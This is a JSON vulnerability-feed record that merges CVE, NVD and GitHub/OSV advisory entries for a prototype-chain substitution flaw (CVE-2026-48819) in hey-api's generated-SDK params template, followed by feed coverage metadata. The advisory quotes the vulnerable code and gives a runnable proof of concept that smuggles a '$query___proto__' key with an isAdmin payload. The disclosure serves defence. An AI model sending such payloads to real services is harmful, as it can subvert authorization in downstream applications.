{"id":"GHSA-hhx9-57xq-r5rw","revision":null,"records":[{"revision":"3e345cb263034a269a24862056578188","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48819","aliases":[],"title":"Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key","description":"Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\"query\"][\"__proto__\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.","state":0,"publishedAt":"2026-07-17T19:46:00.402+00:00","modifiedAt":"2026-07-20T16:24:20.624+00:00","affected":[{"ecosystem":"Vendor product","name":"openapi-ts","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"hey-api\",\n                    \"product\": \"openapi-ts\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.97.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","score":4.8,"severity":"MEDIUM"}],"references":["https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw","https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f","https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169","https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48819","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48819","identifiers":["CVE-2026-48819"]},"retained":false,"historicalAffected":[]},{"revision":"f3b7d71b36bd45c0ab115bec50db23c6","observedAt":"2026-10-25T12:17:32.273+00:00","statement":{"source":"nvd","id":"CVE-2026-48819","aliases":[],"title":"Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-…","description":"Hey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params[\"query\"][\"__proto__\"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.","state":0,"publishedAt":"2026-07-17T20:17:21.553+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","score":4.8,"severity":"MEDIUM"}],"references":["https://github.com/hey-api/hey-api/commit/023909137a15eff9c0263d3bcd116140076b214f","https://github.com/hey-api/hey-api/commit/da321a1529eb3c90d2109da870f514b915a60169","https://github.com/hey-api/hey-api/releases/tag/%40hey-api%2Fopenapi-ts%400.97.3","https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48819","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2026-07-17T20:17:21.553","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48819","identifiers":["CVE-2026-48819"]},"retained":false,"historicalAffected":[]},{"revision":"51ecacb6484c4ddd9543556da1b43da3","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-hhx9-57xq-r5rw","aliases":["CVE-2026-48819"],"title":"@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key","description":"### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))\nif (extra) {\n  const [prefix, slot] = extra\n  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=<string>\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=<string>\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n  [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n  generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q);                           // \"hello\" — own property, normal\nconsole.log(q.isAdmin);                     // true — inherited via prototype chain\nconsole.log(Object.keys(q));               // [\"q\"] — own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n  Scenario: GET /search with fields [{ in:'query', key:'q' }]\n  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }\n\n  result.query.q         = hello\n  result.query.isAdmin   = true  ← inherited, NOT own\n  Object.keys(q)         = [ 'q' ]\n  for..in keys           = q, isAdmin\n  Object.getPrototypeOf  = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.","state":0,"publishedAt":"2026-07-01T20:55:17+00:00","modifiedAt":"2026-09-10T03:50:52.34819+00:00","affected":[{"ecosystem":"npm","name":"@hey-api/openapi-ts","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.97.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw","https://github.com/hey-api/openapi-ts"],"sourceUrl":"https://github.com/advisories/GHSA-hhx9-57xq-r5rw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hhx9-57xq-r5rw","identifiers":["GHSA-hhx9-57xq-r5rw","CVE-2026-48819"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T09:09:26.8428861+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T09:09:26.8428861+00:00","lastSuccessAt":"2026-10-27T09:09:27.2118469+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:27.2119981+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-aabe25475865c7edee522f4302371edf7f08f4ba2936ed86dd9f3eab30c8198d","complete":true,"records":414888,"lastAttemptAt":"2026-10-27T09:09:26.1888005+00:00","lastSuccessAt":"2026-10-27T09:00:39.8201567+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:26.1888005+00:00","snapshotPublishedAt":"2026-10-27T08:33:34+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T09:09:33.2115253+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T09:09:26.8428861+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T09:09:26.8428861+00:00","lastSuccessAt":"2026-10-27T09:09:30.438867+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:30.4388678+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2f1de7fa5541453e964c3923e20a9f35","complete":true,"records":13416,"lastAttemptAt":"2026-10-27T09:09:31.2124779+00:00","lastSuccessAt":"2026-10-27T09:03:12.991+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:03:12.991+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T09:09:26.6530761+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:26.6530761+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T09:09:26.4482482+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:26.4482482+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T09:09:26.7642122+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:26.7642122+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-513066461af8d030bad8efab4fea81eabd246acd525512aa7469c95ccf02c320","complete":true,"records":230813,"lastAttemptAt":"2026-10-27T09:09:26.5496184+00:00","lastSuccessAt":"2026-10-27T09:02:44.9044939+00:00","error":null,"lastVerifiedAt":"2026-10-27T09:09:26.5496184+00:00","snapshotPublishedAt":"2026-10-27T08:48:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}